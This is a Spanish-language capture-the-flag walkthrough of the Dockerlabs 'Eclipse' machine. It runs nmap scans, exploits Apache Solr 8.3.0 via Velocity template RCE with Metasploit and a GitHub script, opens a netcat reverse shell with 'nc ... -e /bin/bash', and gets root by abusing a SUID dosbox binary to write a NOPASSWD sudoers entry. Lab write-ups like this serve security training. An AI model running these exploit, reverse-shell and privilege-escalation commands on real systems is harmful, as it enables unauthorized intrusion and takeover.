Eclipse es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Media
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-23 15:23 CEST Initiating ARP Ping Scan at 15:23 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 15:23, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 15:23 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Discovered open port 8983/tcp on 172.17.0.2 Completed SYN Stealth Scan at 15:23, 0.89s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000080s latency). Scanned at 2024-04-23 15:23:21 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 8983/tcp open unknown syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parametro -sCV para que le pase los scripts por defecto y conseguir mas informacion de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,8983 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-23 15:23 CEST Nmap scan report for 172.17.0.2 Host is up (0.000038s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh 8983/tcp open http Apache Solr | http-title: Solr Admin |_Requested resource was http://172.17.0.2:8983/solr/ MAC Address: 02:42:AC:11:00:02 (Unknown) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds |
Entrando al puerto 8983 , vemos que se trata de la aplicacion Solr con version 8.3.0

Aqui mismo veremos datos que nos seran interesantes como son:
user.dir /opt/solr/server
user.home /home/ninhack
Por otro lado , vemos que existe una instancia llamada

Buscaremos si existe algun exploit conocido para esta version y vemos que aplica exploit para metasploit o tambien podemos usar exploit de github
Vamos a hacerlo de las dos manera, primero con metasploit:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 |
┌──(kali㉿kali)-[~] └─$ msfconsole =[ metasploit v6.3.31-dev ] + -- --=[ 2346 exploits - 1220 auxiliary - 413 post ] + -- --=[ 1390 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again Metasploit Documentation: https://docs.metasploit.com/ msf6 > use multi/http/solr_velocity_rce [*] Using configured payload java/meterpreter/reverse_tcp msf6 exploit(multi/http/solr_velocity_rce) > msf6 exploit(multi/http/solr_velocity_rce) > show options Module options (exploit/multi/http/solr_velocity_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD SolrRocks no Solr password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8983 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /solr/ no Path to Solr USERNAME solr no Solr username VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Java (in-memory) View the full module info with the info, or info -d command. msf6 exploit(multi/http/solr_velocity_rce) > show payloads Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 payload/cmd/unix/bind_aws_instance_connect normal No Unix SSH Shell, Bind Instance Connect (via AWS API) 1 payload/generic/custom normal No Custom Payload 2 payload/generic/shell_bind_aws_ssm normal No Command Shell, Bind SSM (via AWS API) 3 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline 4 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline 5 payload/generic/ssh/interact normal No Interact with Established SSH Connection 6 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline 7 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline 8 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager 9 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager 10 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager 11 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager 12 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager 13 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager 14 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline 15 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures) 16 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures) msf6 exploit(multi/http/solr_velocity_rce) > set payload 13 payload => java/shell/reverse_tcp msf6 exploit(multi/http/solr_velocity_rce) > set payload 13 payload => java/shell/reverse_tcp msf6 exploit(multi/http/solr_velocity_rce) > set rhosts 172.17.0.2 rhosts => 172.17.0.2 msf6 exploit(multi/http/solr_velocity_rce) > set lhost 192.168.0.160 lhost => 192.168.0.160 msf6 exploit(multi/http/solr_velocity_rce) > run [*] Started reverse TCP handler on 192.168.0.160:4444 [*] 172.17.0.2:8983: Authentication not required [*] Found Apache Solr 8.3.0 [*] OS version is Linux amd64 5.18.0-kali5-amd64 [*] Found core(s): 0xDojo [+] Found Velocity Response Writer in use by core '0xDojo' [+] params.resource.loader.enabled for core '0xDojo' is set to true. [*] Targeting core '0xDojo' [+] params.resource.loader.enabled is true for core '0xDojo' [*] Using URL: http://192.168.0.160:8080/ [*] Sending stage (2952 bytes) to 172.17.0.2 id id [*] Command shell session 1 opened (192.168.0.160:4444 -> 172.17.0.2:55180) at 2024-04-24 17:27:03 +0200 [*] Server stopped. uid=1000(ninhack) gid=1000(ninhack) groups=1000(ninhack) bash -i bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell ninhack@82eedf3128df:/opt/solr/server$ |
Y ahora con el exploit de github, que una vez descargado, lo ejecutaremos enviando comandos al servidor solr.
|
1 2 3 4 5 6 7 |
┌──(kali㉿kali)-[~/Apache-Solr-RCE-via-Velocity-template] └─$ python apache_solr_exec.py 172.17.0.2 8983 "nc 192.168.0.160 6666 -e /bin/bash" OS Realese: Linux, OS Version: 5.18.0-kali5-amd64 if remote exec failed, you should change your command with right os platform Init node 0xDojo Successfully, exec command=nc 192.168.0.160 6666 -e /bin/bash RCE failed @Apache Solr node 0xDojo |
Pero si este lo preferimos tirarlo con burpsuite…

De cualquier de las maneras, nos lanzaremos la shell para acceder a la maquina.
|
1 2 3 4 5 6 7 |
┌──(root㉿kali)-[/home/kali] └─# nc -nvlp 6666 listening on [any] 6666 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.2] 55492 script /dev/null -c bash Script started, output log file is '/dev/null'. ninhack@82eedf3128df:/opt/solr/server$ |
Una vez dentro y dado que no vemos que tengamos permisos de sudo, buscamos binarios con SUID
|
1 2 3 4 5 6 7 8 9 10 11 12 |
ninhack@82eedf3128df:/opt/solr/server$ find / -perm /4000 -type f 2> /dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/newgrp /usr/bin/su /usr/bin/chfn /usr/bin/umount /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chsh /usr/bin/mount /usr/bin/sudo /usr/bin/dosbox |
Y vemos uno que parece extrano… dosbox? asi que miraremos si existe en gtfobins, podremos tanto leer como escribir y en este caso crearemos un fichero en sudoers.d
|
1 2 |
LFILE='\etc\sudoers.d\ninhack' /usr/bin/dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL) NOPASSWD: ALL >c:$LFILE" -c exit |
Asi que si todo ha ido bien, deberiamos de poder ejecutar cualquier comando sin necesidad de contraseña
|
1 2 3 4 5 6 7 8 |
ninhack@82eedf3128df:/tmp$ sudo -l Matching Defaults entries for ninhack on 82eedf3128df: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User ninhack may run the following commands on 82eedf3128df: (ALL) NOPASSWD: ALL |
Asi que nos convertimos en root
|
1 2 3 4 |
ninhack@82eedf3128df:/opt/solr/server$ sudo su root@82eedf3128df:/opt/solr/server# root@82eedf3128df:/tmp# id uid=0(root) gid=0(root) groups=0(root) |
Y hasta aqui la maquina de Eclipse de la plataforma Dockerlabs!







